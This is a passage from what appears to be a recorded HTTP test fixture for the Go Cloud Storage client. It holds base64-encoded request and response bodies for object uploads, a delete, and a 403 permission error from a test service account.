ZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YToxOTkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5Db21wb3NlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChDb21wb3NlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuY29tcG9zZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "84daee26f7d989ce", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3112" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:19 GMT" - ], - "Etag": [ - "CLmF4d/x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoLuw-z5wwTKy-X92_i7pyTrimolUNRUGrElhep6rUH_mmpgu_Vxp-1ncr8x8XNXHLs8NFRW5S7WVUsaDRRTrC5KBPea4EoFLANK8MFY0FpTkXr7_g" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkxOTc0MTYyNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxOTc0MTYyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxOS43NDFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTkuNzQxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE5Ljc0MVoiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTkxOTc0MTYyNSZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkxOTc0MTYyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE5NzQxNjI1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNMbUY0ZC94L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkxOTc0MTYyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MTk3NDE2MjUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTG1GNGQveC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU5MTk3NDE2MjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE5NzQxNjI1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNMbUY0ZC94L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkxOTc0MTYyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MTk3NDE2MjUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTG1GNGQveC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNMbUY0ZC94L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "8457a5701f4ced08", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:20 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpKF1M6PpAT354ON3809wMCor-B9KITRuEV34MQczP3OD4Co0sJYtNSub2FUzA8qanTDrtANRK0RuxPTz314o3HQro2HLOoyKZBow5CZ4sfsunKHv0" - ] - }, - "Body": "" - } - }, - { - "ID": "1c2ba8a7670e2218", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3112" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:20 GMT" - ], - "Etag": [ - "CP+SgODx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoq9hgjjwBbSH1zXN2UlNtWO31Qf5uk4ijjGCQlETB9_5H_CouvU3q4tyHAKEbIBlaW1_mNk3Fsp6LgXqsPPKvFzs3-WHeADAgc2-GpD-0inoYUHMs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDI1MTI2MyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkyMDI1MTI2MyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyMC4yNTBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MjAuMjUwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjIwLjI1MFoiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTkyMDI1MTI2MyZhbHQ9bWVkaWEiLCJhY2wiOlt7Im